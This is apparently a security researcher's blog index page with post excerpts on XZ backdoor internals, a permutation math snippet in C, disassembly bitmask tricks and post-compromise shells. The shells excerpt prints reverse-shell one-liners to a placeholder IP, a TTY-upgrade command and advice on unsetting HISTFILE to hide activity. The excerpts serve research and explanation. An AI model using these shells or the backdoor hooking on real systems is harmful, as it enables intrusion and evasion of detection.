I was looking for a way to improve the hook mechanism in the XZ backdoor and found a method that allows you to achieve the same thing without disassembling functions or performing other expensive operations. To intercept symbol resolution, the backdoor impersonates an audit library and patches the runtime linker. It needs the offsets of the dl_naudit and dl_audit fields in _rtld_global_ro, and l_audit_any_plt in link_map:
herm1t πΊπ¦
Wednesday, October 29, 2025
Sunday, October 26, 2025
Searching for non-exported symbols
To install hooks, we need to know the address of the required function. If debugging information is available or the function is present in the symbol table, that’s simple — but what if it’s declared as static? If the function we need contains strings, we’ll try to search for those.
Friday, July 4, 2025
Multiplicative PRIDE
Last time, I explored how PRIDE works. It turned out that the initial value and the generator in the group $Z_n$ under addition are simply split into two variables. Can we do something similar with multiplication? Let’s try the following example:
pride-mul.c for (a = 1; a < n; a++)
for (b = 1; b < n; b++) {
/* GCD(b, n) A062955 phi(n^2) - phi(n)
GCD(a * b, n) A127473 phi(n)^2 */
if (gcd(b, n) != 1)
continue;
bzero(o, sizeof(o));
for (y = 0, i = 0; i < n; i++) {
/* x = (a + b * i) % n; */
x = (y + a) % n;
y = (y + b) % n;
}
}
Although it looks very similar to the previous one, this is not group addition, but an affine transformation in the ring $Z_n$, of the form x = a + b * i, where GCD(b, n) == 1.
If you calculate the number of possible permutations for different n, you get sequence A062955 in OEIS:
for a in `seq 1 16`; do ./a.out $a|sort|uniq|wc -l; done|xargs 0 1 4 6 16 10 36 28 48 36 100 44 144 78 112 120
That is: $\phi(n^2) − \phi(n) = (n − 1) \times \phi(n)$, where $\phi$ is Euler's totient function.
Saturday, April 19, 2025
XZ backdoor: strings, tries and automata
One of the interesting features in the XZ backdoor is string searching using a trie, and for the same reason, it runs catastrophically slowly, which led to its discovery. But we were taught that tries are supposed to enable fast search. How do bitmap tries work, and how can you make search fast?
Sunday, April 13, 2025
XZ backdoor: hiding the key in opcodes
Let's try to store something in the opcodes.
Monday, April 7, 2025
Disassembly, bitmasks and boolean logic
A long time ago, I read an article by Z0mbie about disassembling and bit masks. Since many instruction encodings have regularities, instead of looking them up in a table, they can be replaced with a simple logical formula. For example, before disassembling the instruction code, we need to check the segment register prefixes (this refers to 32-bit code). Their codes are 26, 2E, 36, 3E, 64, 65. Z0mbie pointed out that six comparisons can be replaced with two comparisons using a bit mask:
and al, 11111110 ; 64/65
cmp al, 01100100
je __prefix_seg
...
and al, 11100111b ; 26/2E/36/3E
cmp al, 00100110b
je __prefix_seg
Is it possible to completely get rid of the tables and replace them with a logical formula?
Friday, April 4, 2025
Interactive shells and port-knocking
One of the first steps when the system is already compromised is to access the shell on the target. Hackers typically use the same one-liners to connect to the system:
bash -i >& /dev/tcp/1.2.3.4/8080 0>&1 # or
nc -e /bin/sh 1.2.3.4 8080
A dumb shell has many drawbacks – lost sessions continue to appear in the process list, you can’t edit a mistakenly typed command, if it's unset HISTFILE, all the hacker activities will remain in the history, and later on, it will have to be cleaned, from the same basic shell, without the ability to launch a proper text editor. Classic tricks, such as turning the shell into an interactive one, help to some extent:
python -c 'import pty; pty.spawn("/bin/bash")'
Or using utilities like socat. A cool method was suggested by Phineas Fisher – to spawn a shell via netcat, move it to the background (Ctrl-Z), switch the terminal to raw mode with stty raw -echo, and then return to the shell with fg. However, there’s still a risk of making mistakes. Why not write a full-fledged shell of your own? What happens when we call pty.spawn() and stty?